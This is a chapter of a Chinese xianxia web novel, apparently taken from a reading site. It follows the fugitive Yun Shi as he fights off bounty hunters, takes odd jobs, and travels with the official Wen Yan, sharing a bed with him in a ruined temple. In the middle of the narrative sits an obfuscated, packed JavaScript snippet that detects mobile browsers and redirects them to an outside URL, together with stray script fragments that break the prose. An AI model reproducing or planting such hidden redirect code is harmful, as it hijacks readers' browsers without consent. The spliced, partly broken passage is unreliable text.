心意落定,像斧头砍进木桩,不再晃动。他先摸出纸鸢留下的那枚信物,触手温润,带着点纸张般的柔韧感。凝神,将一丝极其微细、被他刻意抚平了躁动边缘的乱力渗入其中,心念随之传递:“纸鸢,我已离坳。决意南行往中央。可有沿途需避忌处?栖霞镇外接活攒资,可否?” 信息简短,没提具体路线,也没说更多。 几乎是同时,怀里另一处微微发热。是温言给的那枚信物,反应比他预料的快。一道清晰、冷淡、近乎公事公办的神念传入脑海:“天衡缉令已通传北地诸城及主要关隘。协查名录有你。南向官道三处枢纽巡查已增。建议避行。另,人多处未必安全,然耳目亦杂,自行权衡。” 纸鸢的回复稍迟了片刻,却带着熟悉的温度和具体的忧虑:“千万小心!栖霞镇往南三百里一带最近不太平,听说有几股流寇掺和了修士,专劫落单的。接活莫要太拼,留着力气赶路。钱若不够,千万与我说!” 两段信息,一冷一热,勾勒出前路的轮廓:一边是官面上的铁网正在收紧,另一边是民间盘根错节的生存路径与友人的牵念。云实将信息嚼碎了咽下,调整着胸中那口气。他知道自己强了不少,但远远未到可以横行的时候。追兵不会只是之前白石坳外那种程度的货色。 他选了一条介于山脊与荒林之间的小道,尽量避开开阔地。柴斧解开了裹布,就握在手里。斧刃经过乱力浸染,并不显得更锋利,却有一种沉甸甸的、能扰乱视线和心神的异样感。 第一波找上来的,是在离开白石坳第四天下午。五个形貌精悍的汉子,从一片枯木林里闪出,呈扇形围拢。衣着不像普通山匪,眼神里有种猎犬般的搜寻意味。领头的是个独眼,手里掂量着一块闪烁微光的玉简,对照着云实。 “小子,青石镇来的?跟咱们走一趟,天衡宗的赏钱,够你逍遥半辈子。”独眼的声音沙哑,带着笃定。 云实没答话,脚下不停,反而加速前冲,目标直指左侧看似最薄弱的一人。那汉子狞笑,挥刀迎上。就在刀斧即将相接的刹那,云实手腕极细微地一颤,柴斧划过一个别扭的弧度,并非硬撼,而是贴着刀锋一抹、一引。一股难以言喻的烦躁感顺着兵器交接处猛地窜向那汉子心头,他气势一滞,招式顿时走了形。云实的斧背已然重重敲在他持刀的手肘麻筋上。 “呃啊!” 汉子半条手臂酸麻难当,刀当即脱手。云实毫不停留,矮身从这缺口撞出,反手一斧横扫,逼退右侧扑来的另一人,斧风带起的怪异波动让那人鼻端一酸,莫名生出想打喷嚏的冲动,动作慢了半拍。 独眼怒喝,与剩下三人合围。云实却不再硬拼,将乱力催动到脚下,步法变得飘忽难测,每每在合围将成之际,以毫厘之差滑出,柴斧如同毒蛇的信子,每一次点、拨、磕、撞,都并非致命,却总能精准地打在关节、穴位,或是兵器发力最别扭的点上,将围攻的节奏搅得七零八落。他力量更大,速度更快,对那股扰人心神之力的运用也愈发熟稔。 片刻间,五人已人人带伤,虽不重,却酸麻疼痛,气息不畅,更憋着一股无处发泄的邪火,越打越别扭。独眼独眼中闪过一丝惊疑,他看得出这年轻人手法生疏,绝非久经战阵,但那诡异的、能干扰他人状态的力量和这副悍不畏死、只求脱身的架势,实在难缠。 “点子扎手!用网!” 独眼低吼。 一张泛着淡金色、显然掺了符纹丝线的铁网被两人合力撒出,罩向云实。云实瞳孔一缩,不退反进,全身“乱”力以前所未有的强度爆发,并非扩散,而是凝聚于斧刃,朝着铁网中央猛地一划!没有金铁交鸣的刺响,只有一声令人牙酸的、仿佛无数细丝同时绷断又互相摩擦的“嗤啦”声。铁网上的淡金光泽剧烈闪烁、明灭不定,竟被硬生生“划”开一道不规则的口子!施网的两人如遭重击,闷哼一声,倒退几步。 云实抓住这瞬息之机,从破口处疾窜而出,头也不回地没入前方更茂密的林子,只留下一句被风扯碎的话:“赏钱烫手,各位自便!” 独眼等人追了几步,看着那迅速消失在林荫深处的背影,又看看地上损坏的法网和自家狼狈的样子,脸色难看。他们接的是协查的活儿,不是拼命。这小子,比情报里说的难对付得多。 摆脱追兵,云实一口气奔出十余里,才靠着一棵老树喘气。胸口微微发烫,那是异丹微微活跃的迹象。刚才那一下爆发,消耗不小。他摸了摸斧刃,上面似乎还残留着与法网对抗时的那种滞涩震颤感。有效,但还不够强。若对方人再多些,或者有更厉害的法器、修士…… 不能停。他辨明方向,再次动身。这次,他不再纯粹避行荒野,而是有意识地折向栖霞镇外围的区域。正如纸鸢所说,那里有他熟悉的“活路”。 到了镇上,云实没费周折,径直去了那处修士与凡人需求混杂的露天告示牌。木板横斜,黄纸红字层层叠叠,被风吹得哗啦作响。他仰头扫视,专挑那些时限短、路程近、要求模糊的活儿。 第一单是替镇东一家棺材铺运送几口特制薄棺到山坳里的义庄。要求是“脚程稳当,莫惊扰棺木”。报酬不多,但正适合他测试自己如今的身手和耐力。他接下帖子,按图索骥找到铺子。老板是个干瘦老头,只瞥了眼他背后的斧头和沉稳的神色,便指了指后院板车上码好的棺木。 山路崎岖,雨后更是泥泞。云实拉车,起初还小心翼翼,怕这凡俗木板车承受不住自己如今的气力。走了几里,发觉竟异常轻松。当年他随父亲进货,推一车布料翻个小坡都气喘吁吁,需得花钱请力夫帮忙。如今重载在身,山路在前,气息却绵长平稳,脚下泥土似乎都变得驯服了些。那股在体内蛰伏的“乱”力,虽未特意催动,却也隐隐流转,让他对板车的重心、路面的起伏有种更敏锐的把握,总能提前微调力道,让车辆行得平稳,棺木纹丝未动。不到半日,便走完了原本需要一整天还未必稳妥的路程。义庄看守的老汉收了货,嘀咕了一句:“今儿个倒是利索。” 第二单是清理镇外废弃砖窑里一窝泛滥的毒鼬。委托上写着“需火行或锐金手段,驱散即可,勿使血腥污染窑洞”。云实不是火行,斧头也不算锐金法器。但他接了。站在阴暗潮湿的窑洞口,能听到里面窸窣作响,腥臊气扑鼻。他闭目凝神,缓缓调动乱力,没有火光,没有锋锐之气,只有一股令人极端烦躁、心神不宁的波动混在气流中灌入窑洞。 霎时间,窸窣声变成了尖锐慌乱的吱吱叫,随后是混乱的碰撞奔逃声。不过十几息,大大小小灰褐色的影子从各个缝隙洞口拼命窜出,头也不回地消失在荒野草丛中,仿佛窑洞里有什么让它们本能恐惧、片刻不愿停留的东西。云实收起斧头,静静等了一会儿,才走进已然空寂的窑洞。任务完成,比他预想的更简单,甚至无需见血。 几单下来,钱袋里多了些散碎银钱和铜板,更重要的是,一种陌生的信心在悄然滋生。当年那个仰望仙门、测灵失败后只能黯然回乡的布料店小子,如今竟真的能凭借这身不正统的修为,在这混杂的地界凭本事换来生计,甚至游刃有余。这变化并非轰轰烈烈,却在这日复一日的琐碎任务中,变得真切可触。 这日傍晚,他交完一单护送药材的短途任务,揣着新得的报酬,走进了镇上那家他曾经住过、也发生过不少事的客栈。大堂里人声嘈杂,酒气、汗味和饭菜香混在一起。他习惯性地走向角落的空位,目光扫过时,却骤然定住。 靠窗的那张桌子旁,坐着温言。 他还是那副一丝不苟的样子,青衫整洁,面前只放着一杯清茶,与周遭的喧闹格格不入。他似乎也刚看到云实,目光交汇的瞬间,几不可察地顿了一下,随即微微颔首,并无惊讶之色,仿佛只是遇到一个略有些印象的旧识。 云实脚步迟疑了一下。按说,温言之前给予信物,算是留了份善缘,但那份公事公办的疏离感也显而易见。此刻碰面,是巧合,还是……他想起温言信物中提及的协查与路径建议,心中警惕未消,但对方既然已经看见,避而不见反而显得心虚。 他走了过去,在温言对面坐下,将背上的柴斧小心靠在桌腿旁。 “温……前辈。” 他斟酌了一下称呼。 “路过。”温言言简意赅,仿佛知道云实想问什么,指尖无意识地摩挲着光滑的茶杯壁,“缉令未消,但近期重心似有转移。此地暂可栖身,不过,风波未必平息。” 云实点了点头,没接关于缉令和风波的话茬,那太敏感。他想起纸鸢信中所提温言出身四明宗,且是前科举状元,或许对帝京形势有所了解,便换了个相对安全的问题:“前辈对帝京……风气可有了解?譬如,何种营生不易惹眼?” 温言抬眼看了看他,似乎有些意外他会问这个,但很快又恢复了平静。 “藏木于林,或隐于市井。”他顿了顿,补充道,“皇城司、各宗门驻点、大小商会、乃至漕帮脚行,眼线皆杂。若有技艺,不如工匠、画师、药师之流,依附坊市,反少探查。” 他说的很实际,完全是基于一个逃亡者如何隐藏自己的角度,并未涉及任何具体地名或势力名称。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934571|192840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“多谢前辈指点。”云实诚心道谢。温言这些建议,比纸鸢从市井角度给出的更为冷峻,也直指某些他未曾细想的关节。 客栈的喧嚣成了最好的掩护。温言没有立刻动手缉拿的意思,这让云实绷紧的心弦略微一松。他斟酌着词句,声音压得更低,问出了一个盘旋已久的问题:“若有人……想行走得稍安稳些,不总被旧事追着,前辈可知,可有门路?” 温言摩挲茶杯的动作停了停,抬眼看他,目光里没有审视,更像是在确认某个参数。 “那要看,旧事具体是什么,沾了多少灰。”他的语调平稳,听不出倾向。 云实喉结动了动,知道这是交换信息的开始。他不能全盘托出,但必须给出足够有分量的部分。 “我……曾从某个不能提名字的人那里,听到些关于修行路径的……不同说法,涉及如何……规避某些公认的关。”他避开了“天劫”这个敏感词,“后来,我与天衡宗一位信任的师兄提及此事,本意是求证或警示,不料消息不知怎的走漏了,引来许多麻烦。” 温言静静地听他说完,脸上并无意外之色,反而问了一句:“你觉得,消息为何走得那般快?” 云实一愣,摇摇头。他确实想过,可能是宗门内有人监听,或是苏妄另有安排,但始终不确定。 “法器监听,只是最粗浅的一层。”温言的声音平淡,却让云实后背微微发凉,“灵力本身,在这片土地上,只要在墙内,便近乎无所不在。它流动,交汇,也自然能被特定的方式感知其波动中携带的微弱信息。四名宗协助处理朝政庶务,维系这大国的日常运转,其中一项便是维系与监测某些基础灵网节点的稳定与洁净。” 他这话说得极为含蓄,但意思已明——有一个覆盖性的、官方的灵力监控网络存在。温言作为四名宗弟子,且是科举出身的实务官员,接触乃至部分负责这方面事务,并不稀奇。 “可……那是在我自家院子里说的。”云实下意识辩解,想起青石镇家中那个摆满染缸的露天小院。 “院墙之内,算私域还是公共领域?”温言反问,语气依旧没什么波澜,“灵力弥漫,无孔不入。这个界限,历来模糊。若那散布消息之人自己懒得动手,那么,要么是你师兄身上带了有问题的器物,要么……便是当时恰好有常规的灵网扫过你那片区域,捕捉到了异常的信息碎片。后者的概率虽低,但并非绝无可能。” 他顿了顿,“具体是哪一种,我也无从得知。这中间的灰色地带,本就难以厘清。” 信息量巨大,云实一时消化不及。 温言看着他变幻的神色,继续道:“你若接受我的提议,随我同行前往都城,我可以帮你探听门路,试着在规则内,让你的行走少些阻碍。”他话语坦诚得近乎直白,“当然,我也有我的考量。你身上牵扯的事情,你所接触的‘不同说法’,本身就值得关注。我好奇你究竟是何角色,是变数,还是别的什么。”他话锋一转,语气里带上了一丝极淡的、近乎职业性的疏离,“不过,我的职责范围历来清晰,追缉触犯铁律的凶徒非我主责,也非我兴趣所在。这点,你可以放心。” 云实沉默。温言救过他一次,虽然动机不明,但结果是实实在在的。如今这番话,虽有利用之嫌,却也给出了一个看似可行的路径,并且明确表示了不会以缉拿他为目标。比起霁雪仙尊不容分说的镇压,温言这种建立在“各取所需”和明确界限上的提议,反而让云实觉得更真实,也更可衡量风险。他现在最需要的,不正是一个相对安全进入帝国核心区域,并能获取更多信息的机会吗? 思虑片刻,他抬起头:“我信前辈一次。需要我做什么?” “跟着,看着,必要时回答一些问题。以及,管好你自己的力量,不要在都城惹出不必要的动静。”温言简洁地交代,随即像是想起什么,补充道,“路上若有什么修行上的困惑,也可问我。你既已踏入此道,多了解些总无坏处。” 云实心中一动,终于问出了那个一直有些好奇的问题:“前辈……如今是何境界?” 温言给他的感觉深不可测,但又与霁雪仙尊那种高山仰止的压迫感不同,更内敛,更近乎某种……运转有序的庞然体系本身。 温言没有隐瞒,直言道:“造化期。” 云实呼吸一滞。造化期……那是能重构一方天地八行平衡、点化生灵的境界,在寻常修士眼中已是传说中的存在。这样的人物,竟然就在自己面前,还提出要帮忙? 似乎看出云实的震惊与隐隐的戒备,温言反而几不可察地牵动了一下嘴角,那或许能算是一个极淡的笑意。 “不必多想。修行路长,境界高低有时并非衡量一切的标尺。你若能沿着自己的路走下去,将来或许……”他略作停顿,说出了一句让云实心神微震的话,“……你我亦有平起平坐、合作一番的可能。我对此,倒有些期待。” “我……尽力。”云实最终只说了这三个字,但眼神里的犹疑褪去了不少,取而代之的是一种沉静下来的决心。 温言不再多言,抬手召来伙计结了茶钱,起身道:“明日辰时,镇口出发。” 他还从怀中取出一个不起眼的素色布袋,推到云实面前,指尖在粗糙的桌面上点了点。“这些,路上用。” 语气平常得像在交代一件琐事。 云实没立刻去接。布袋的样式普普通通,但这份给予本身,让他某个深埋在记忆角落、带着屈辱与复杂计算的画面倏地闪过——是苏妄随手抛来的储物袋,也是改变他命运轨迹的开端。温言的给予看似更正常,但那种自上而下的、不容拒绝的意味,在某些瞬间竟有些重叠。 “客栈嘈杂,我楼上房间尚有空余,你可搬上来。”温言接着说道,目光平静地掠过云实风尘仆仆的衣袍。 “不、不用了,下面挺好。”云实几乎是下意识地拒绝,话出口才觉生硬,脸上闪过一丝窘迫。他并不习惯接受这种过近的、带着某种照顾意味的安排,这会让他想起流衍师兄那种细致到让人有时无措的回护。 温言并未因他的拒绝而不悦,似乎早有预料。他起身,示意云实跟上。到了楼上房间,他关上门,隔绝了楼下的喧嚣,这才转过身,面对着略显局促的云实。 “不必紧张。”温言的声音在安静的房间里显得格外清晰,“我确是对你这个人有兴趣,但这份兴趣,与你身上携带的价值,是分开又并行的两件事。” 他走到窗边,背对着云实,望着窗外沉沉的夜色:“上次在荒野见你,你重伤濒危,气息奄奄。这才过去多久?你不仅伤势痊愈,更一举突破了困扰许久的关隘,锚定根基。这个速度,放在任何宗门,都足以称一声‘快’,甚至……快得有些不寻常。” 提到修炼,云实一直强压着的某种情绪翻涌上来。他握了握拳,指节有些发白,声音里带上了压抑的苦涩与自嘲:“快?前辈,我这算什么快。不过是……侥幸捡了条命,又被逼到绝处罢了。我恨我自己,从来就不是什么天才,没有绝顶的天赋,没有雄厚的根基,连灵根都是个没人要的。每一次进步,都像是在泥潭里打滚,沾满一身狼狈和算计!我想要力量,想要不被随意摆布、随意碾碎的力量,可这条路……” 温言静静地听着,没有打断,也没有出言安慰。直到云实说完,胸膛微微起伏,他才缓缓转过身,脸上依旧没什么表情,但眼神里多了些难以捉摸的东西。 “力量的形式有很多种。” 温言缓缓道,话题似乎转了方向,“我听说了一些事。关于你在那个村子里的作为,关于那种……‘坳子布’。”他顿了顿,看着云实骤然警惕起来的眼神,“按现行的某些模糊条例,未经许可,向凡人群体扩散未经严格鉴定的、可能涉及基础灵力应用的改良技艺,确实在我的监察范围之内。” 云实的心提了起来,手下意识地摸向腰侧——那里空着,柴斧靠在门边。 但温言话锋随即一转:“不过,我也看到了结果。那个村子因此得以喘息,有了活路。生存的改善,是实实在在的。条例是死的,执行却有尺度。”他的语气依然平静,却透露出一种身处体制内的了然,“上面……运作的空间,一直存在。关键在于,如何界定‘利大于弊’,以及,由谁来界定。” 云实有些愕然,没想到温言会从这个角度提及此事。 “在我看来,你做的事,本身就是一个例证。”温言继续说道,话语间带上了一丝极淡的、近乎筹划的意味,“证明了一些边缘的、非常规的手段,在特定情境下,能够解决实际问题,甚至带来某种层面的‘改善’。这很有意思。” 他走到桌边,给自己倒了杯水,也示意云实坐下。 “所以,我之前的提议,不止是帮你打听门路。若你愿意,且后续能‘洗清’身上过于麻烦的牵扯,我可以给你创造一些机会,一些……专门处理类似‘灰色地带’、‘实际问题’的历练机会。这工作需要细心,需要懂得在规则边缘行走,需要一点……不按常理出牌的头脑,以及对底层实际的了解。”他抬眼看向云实,“你觉得呢?” 云实彻底愣住了。这几乎……相当于一种体制内的“提拔”路径预告。这份工作,听起来与光鲜的仙道修行截然不同,却似乎莫名地……契合他迄今为止走过的路。 “这对你……有什么好处?”云实问得直接。他不信无缘无故的青睐。 温言呷了口水,坦然道:“我的职责是维持某些层面的稳定与有效。发掘并引入能够解决实际麻烦的人,成功处理一些棘手或模糊的事务,自然是功绩。你若能做得好,便是证明我眼光无误,举措有效。这对我而言,便是最实在的好处。”他放下杯子,目光清正,“所以,这并非施舍,是投资与合作。你考虑一下。” 温言说完,房间里的寂静有了分量,压在云实肩头。 云实的脑子里转的东西很糙,没工夫精细。爹娘刚缓过口气,弟弟妹妹眼里的光不能灭。纸鸢是干干净净做生意的,自己这身腥不能再沾过去。自己除了这把用顺手了的破斧头和体内的异丹,他还有什么? 命倒是有一条,可这条命早就不完全属于自己了,它连着青石镇的屋檐,连着白石坳的土墙,沉甸甸的,死不起。 温言这条路,横看竖看都像钓饵。可他现在就是岸边那条快渴死的鱼,明晃晃的钩子垂下来,是毒是食,都得先张嘴咬了再说。他浑身上下每一个毛孔都在叫嚣着怀疑。可怀疑是填不饱肚子的。在温言这种人物面前耍心眼、露怯、或者摆出那套“我懂你肯定有阴谋”的聪明相,除了让人厌烦,屁用没有。人家抬手就能捏死他,或者更简单,转身走人,留他继续在烂泥里打滚。 他得接。而且不能是犹犹豫豫、哭哭啼啼地接。他得拿出点能上秤的东西,换这截桥让他踩。 云实抬起眼,目光落在温言脸上,不躲不闪,也没什么多余的感激,就是平直地看着。 “我爹以前说,人走到绝路上,看见绳子就得抓,别管是谁扔的,先爬上来再论其它。”他开口,嗓子还有点干,但字字砸得实在,“温前辈,我现在就站在绝路上。您这根绳子,我抓了。” 他顿了顿,像是把最后那点虚浮的情绪也碾碎了。 “我没什么大本事。修炼是野路子,灵根是下九流的,身上还背着天衡宗的缉令。唯一的优点,大概就是命硬,经折腾,而且……”他嘴角扯了一下,不知是笑还是别的什么,“而且我从小在街面上混,懂规矩,也知道规矩底下那些见不得光的缝儿怎么钻。您要用我,无非就是用这些。脏手的事,我可以做;得罪人的活儿,我能顶。就一条:祸不及家人朋友。这是我的底。” 话说完了,他闭上嘴,等着。房间里又只剩下灯花细微的爆裂声。他背上的肌肉微微绷着,不是紧张,而是像野兽伏低身子,准备扑向未知的猎物,或者承受致命一击。 接受?这词儿太轻飘了。对云实来说,这是把自己当成一把刀,递出去,换一个握刀柄的机会。刀口朝向哪里,现在由不得他。但他得先确保,这把刀,不会被用来捅向他身后那些他想护住的人。 温言似乎被云实这番直白到近乎粗粝的亮家底给噎了一下。他脸上那层公事公办的平静裂开条缝,露出点近乎错愕的神情,随即摇了摇头,语气有些无奈。 “不,也不是这样。你可能……把我想得太深了。”他斟酌了一下词句,指尖无意识地点了点桌面,“我承认,我考量你的能力、你的处境,这背后有我的职责和仕途的算计。但除此之外,”他抬眼看向云实,目光比之前任何一次都更直接,“我确实很欣赏你的为人处事。” 云实愣住。这话比什么提拔、合作都更让他摸不着头脑。为人处事?他哪有什么“为人处事”,不过是泥里打滚、咬牙硬扛罢了。这词儿从温言嘴里说出来,轻飘飘的,却比那袋钱还让人心里发毛。会是苏妄那种“欣赏”吗?带着毒,渗着冷,把人当稀奇玩意儿看的“欣赏”?他盯着温言的脸,想从那上面找出点蛛丝马迹,可什么也看不出来。温言的眼神太干净,干净得像假的。 “前辈说笑了。”云实垂下眼,含糊地应了一句,心里那根弦却绷得更紧。 话说到这儿,似乎也尽了。温言没再多解释,指了指房间一侧:“那里有张长椅,铺盖是干净的。今夜你就歇在这儿吧。” 云实顺着看过去,这才注意到窗边阴影里那张宽大的、铺着厚垫子的长椅。他想起自己住过的那些大通铺、柴房、甚至山洞,心里嘀咕了一句:有钱人就是好,连客房里备的玩意儿都能当床睡。 他没推辞,道了声谢,走过去和衣躺下。长椅很软,比他睡过的任何地方都舒服,可他浑身肌肉依旧僵硬,斧头就放在触手可及的地上。房间里,温言似乎也熄了灯,上了里间的床榻。 夜色浓重,客栈外隐约传来更声。云实睁着眼,盯着天花板上模糊的阴影。温言那句“欣赏”还在耳朵边绕,和苏妄那些似笑非笑的脸混在一起,分不清真假。他索性不再去想,只是把呼吸放得又轻又缓,像潜伏在草丛里的兽,耳朵竖着,捕捉着房间里每一丝细微的动静。 这一夜,就这么在一种表面平静、内里绷紧的诡异气氛中,慢慢熬了过去。 14. 【十二】 晨光微露时,二人便出了栖霞镇。 温言依旧一身青衫,步履平缓,看着与寻常书生无异。云实则背着那柄用粗布仔细缠裹的柴斧,跟在他身侧半步之后。这位置是他自己选的——不是仆从,也非并肩,恰是个能随时护住前方,又能留意四周动静的距离。 “此去路途不短,不必如此紧绷。”温言侧首看他,语气平和,“寻常宵小,还近不了我的身。” 云实点头,却未放松。他不是不信温言的修为,只是习惯了。这些年在生死边缘摸爬滚打养成的习惯,不是三两句话就能卸下的。 头两日的路走得平静。官道宽阔,车马往来,偶有商队经过,见这一对修士打扮的旅人,多是远远让开,不敢叨扰。云实起初还警惕着可能出现的追兵或劫匪,但行了大半日,除了几声鸟鸣风响,什么异常也无。 到了午后歇脚时,温言选了处溪边青石坐下,从袖中取出个巴掌大的玉壶,倒了杯清茶递给云实。 “尝尝,四明宗后山的春芽。” 云实接过,茶水温热,入口微苦,旋即回甘。他不懂茶,只觉得比自己在客栈喝过的任何茶水都清冽些。“好茶。” 温言自己也饮了一杯,望着溪水潺潺,忽然开口:“你那柄斧头,可否借我一观?” 云实解下斧头,递过去时说了句:“浸染过乱力,前辈小心。” 温言接过,却不急着解开裹布,只以指腹轻抚斧身,闭目片刻。 “果然。这乱力颇为奇特,不似寻常灵气暴烈,倒像……水银泻地,无孔不入。”他睁开眼,将斧头递回,“你平日如何用它?” “就……当寻常斧头使。”云实老实道,“劈柴砍树,偶尔遇上麻烦,便催动内里那股力,扰人心神。” “仅此而已?” 云实点头。 温言沉吟片刻,道:“‘乱’为四交维度一侧,论理不该只有扰乱之效。你既已锚定此力,不妨试着更精细地操控。”他伸手指向溪边一株野花,“譬如,可否只让那花蕊颤动,而花瓣不动?” 云实愣住。他从未想过这个。过往对敌,都是将“乱”力一股脑儿放出去,求个范围广、效果强,哪管什么精细操控? 他依言走到花前,凝神催动体内那股桀骜之力。异丹微颤,一丝极细微的波动自掌心溢出,飘向野花。花瓣纹丝未动,花蕊却猛地一颤——紧接着整株花“噗”地一声,从根茎处断裂,萎倒在地。 云实:“……” 温言却笑了。“第一次尝试,已算不错。至少你让花蕊动了,不是么?” 那笑容很淡,却让云实心头莫名一松。他蹲下身,看着那株可怜的花,若有所思。 “控制,比释放更难。”温言的声音从身后传来,“但若能做到收放自如、精细入微,你这乱灵根,未必逊于任何天灵根。” 这话说得平静,却像颗石子投入心湖。云实默默记下,将斧头重新背好。 第三日晌午,温言抬首望了望天色,又瞥了眼身侧一路疾行却始终气息平稳的云实,面上掠过几乎难以察觉的无奈。他掐指算了算,声音依旧平和:“前方二十里处,似有座废弃庙宇。今日便在那边落脚吧。” 云实自然无异议。只是他察觉,温言说这话时,脚下那始终不疾不徐的步伐缓了那么一瞬。云实心头了然:这位造化期的大修士,怕是许久未曾用双脚丈量过这么长的尘土路了。御剑乘风,瞬息百里,那才是他们习惯的节奏。跟着自己这个不会御剑飞行、只能凭两条腿赶路的保镖,确实是委屈了。 抵达废弃庙宇时,连温言的眉梢都几不可见地动了一下。 庙是真破。门板早不知去向,只剩个空荡荡的门洞,像缺了牙的嘴。殿内蛛网横陈,厚厚的积灰覆了满地,一脚踏进去,便能扬起一片呛人的尘雾。正中那尊泥塑神像塌了半边身子,露出的草秸也蒙了灰,瞧不出原本颜色。几缕天光从破损的瓦顶漏下,照亮空气中飞舞的微尘。 没有蒲团,没有净席,连块能直接坐下的、稍微干净点的石板都难找。 温言静静站在门洞处,青衫拂过门槛上堆积的枯叶,没有立刻进去。 云实没说话,只将背上的柴斧解下,握在手里。他先一步踏进殿内,靴子踩在积灰上。他环视一周,目光落在庙后那片稀疏的林子,心里有了计较。 “前辈稍候,我去拾掇一下。” 他转身出了庙门,径直走向那片林子。选中一棵枯死的老树,抡起斧头便砍。斧刃劈入木头的闷响惊起了林间栖鸟,噗啦啦飞走一片。他动作麻利,几下便放倒枯树,又削去枝桠,将主干断成几截合用的木材,抱回庙前。 接着,他寻来些柔韧的柳条和细枝,就着殿前还算干净的石阶坐下,手指翻飞,竟开始编织起来。温言起初只是静立旁观,待看出他是在编一张简陋却扎实的床架时,眼中掠过一丝讶异。 云实做得专注。不多时,一张以粗木为框、柳条为屉的简易床榻便有了雏形。他将其搬入殿内,寻了处相对干燥、头顶瓦片还算完好的角落安置好,又出去抱回那几截木材。 这回,他并指虚点木材堆,指尖窜起一簇细小的、橙红色的火苗——那点微末的火灵根天赋,此刻用来引火倒是刚好。火苗落入干燥的木材中,很快燃起一蓬温暖的篝火,驱散了庙宇的阴冷潮气,也将飞舞的尘埃映照得愈发清晰。 火光跳跃间,云实他脱下自己的外袍,仔细铺在了那张柳条床榻上,权当褥子。 做完这一切,他才拍了拍手上的灰,对一直静默看着的温言道:“前辈,可以休息了。床是简陋了些,总比直接坐地上强。” 温言的目光在那张铺着红白外袍的柳条床上停了片刻,又移到火光旁那张小小的垫子上。 “你便睡那里?” “嗯,我守前半夜,就在火边凑合一下就行。”云实答得自然,仿佛天经地义。 温言没再说什么。他走到那柳条床边,指尖拂过充当褥子的外袍布料,触手略显粗硬,却浆洗得干净,甚至带着点阳光晒过的、极淡的气息,与这满是尘埃的破庙格格不入。他沉默地脱下自己的青衫外袍,整齐折好放在一旁,只着中衣,在那铺了褥子的柳条床上坐了下来。 床榻发出轻微的“吱呀”声,柳条承重微微下陷。比他惯用的玉床或云榻硬了不知多少,甚至有些硌人,但比起直接坐在积灰的地上,已是云泥之别。 殿内一时只有木柴燃烧的噼啪声。火光将两人的影子拉长,投在斑驳的墙壁和残破的神像上,晃晃悠悠。 过了许久,久到云实以为温言已经调息入定,却忽然听到他开口,声音在寂静的庙宇里格外清晰:“你……常如此?” 云实转头,见温言并未闭目,而是看着跳跃的火光,侧脸在明暗间有些模糊。 “嗯?”他一时没明白指什么。 “露宿野外,事事亲力亲为。” “啊,”云实恍然,扯了扯嘴角,“习惯了。从前跟家里跑货,后来……到处躲藏,哪有那么多讲究。有片瓦遮头,有堆火取暖,就算好地方了。” 温言不再言语,良久,他才缓缓躺下,柳条床又发出一阵细微的呻吟。他身量比云实修长,这简陋的床榻对他来说有些短了,腿需要微微蜷着。他显然不习惯,躺下的动作有些慢,甚至带着点不易察觉的僵硬,仿佛在适应这种全然陌生的、粗糙的支撑。 庙外风声呜咽。云实坐在火边的垫子上,背脊挺直,耳听八方。前半夜的寂静格外绵长,只有柴火爆裂的轻响和风穿过破窗的叹息。 柳条床上,温言静静侧卧。床榻的硬度、身下粗布外袍的触感、空气中灰尘与柴火混合的气息,于他皆是陌生。他并未深眠,造化期的神识让他能清晰感知到庙内每一粒尘埃的浮动,以及火堆旁那个年轻人平稳而警惕的呼吸。 子时前后,庙外风声陡然转急,一阵穿堂风卷着夜寒灌入,篝火猛地一晃。云实下意识绷紧肩背,手已按上身旁斧柄。风过去,火苗重新站稳,但庙内的温度明显降了几分。地上寒气透过简陋的垫子丝丝缕缕渗上来。 就在这时,柳条床方向传来很轻的布料摩擦声。 温言不知何时已坐起身,青丝未束,披散在单薄的中衣上,有几缕滑过肩头。他没看云实,目光落在跳跃的火光上,侧脸被映得半明半暗。 “地上寒重。”他开口,声音在寂静的庙宇里显得格外清晰,甚至能听出一点刚醒时特有的微哑,与他平日滴水不漏的平稳不同,“后半夜气温更低,你那垫子挡不住。” 云实转头看他,一时没接话。 温言依旧没看他,只是往旁边挪了挪,空出了约莫一半的位置。然后,他才抬起眼,看向火堆旁的云实。火光在他深静的眸子里跳动,那目光很直接,没有命令,也没有施舍,只是一种平静的陈述。 “一起吧。” 三个字,不重,却不容置疑。 云实愣住了。他看着温言,看着那空出的一半床榻,看着对方在火光中显得比白日里松散、却依旧不容亵渎的姿仪。他张了张嘴,想推拒,话到嘴边却成了:“……前辈,这不合适。我习惯了。” “既是保镖,”温言语气依旧平淡,却截断了他的话,“若冻病了,明日谁护我周全?” 理由给得冠冕堂皇,甚至有些刻意,但那双望着他的眼睛,在摇曳的光影里,似乎藏着一丝极难察觉的、不同于往日的东西。 云实哑然。他沉默片刻,终是起身,拍了拍衣摆上并不存在的灰,走了过去。 柳条床在他坐下时发出不堪重负的“嘎吱”声,两人之间的空隙被填满。床榻狭窄,即便刻意保持距离,手臂、肩膀、腿侧,仍不可避免地隔着薄薄衣料挨蹭到。温言的体温偏低,带着那种雪后松针般的清冽气息,丝丝缕缕地透过来,与云实身上火灵根带来的、更为暖融的温度悄然交混。 两人都平躺着,望着头顶蛛网横陈的破败梁木。谁也没再说话,呼吸却在这极近的距离里变得异常清晰。温言的呼吸悠长而轻,云实则更沉一些。起初,两人都僵着身子,尽量不碰到对方,连呼吸都带着刻意的收敛。 但疲惫和温暖终究是更强大的力量。庙外寒风呼啸,庙内这一隅被篝火余光温着的狭窄床榻,却渐渐滋生出一股抵御寒冷的暖意。不知过了多久,云实先放松下来,他习惯侧睡,无意识地向热源的方向微微翻身,手肘不经意地碰到了温言垂在身侧的手背。 一触即分。 但那一瞬间的触感却异常鲜明。温言的手背微凉,皮肤细腻得不像练剑修道之人,而云实的手指关节粗粝,带着常年握斧的薄茧。 温言似乎极轻微地颤了一下,没有动。 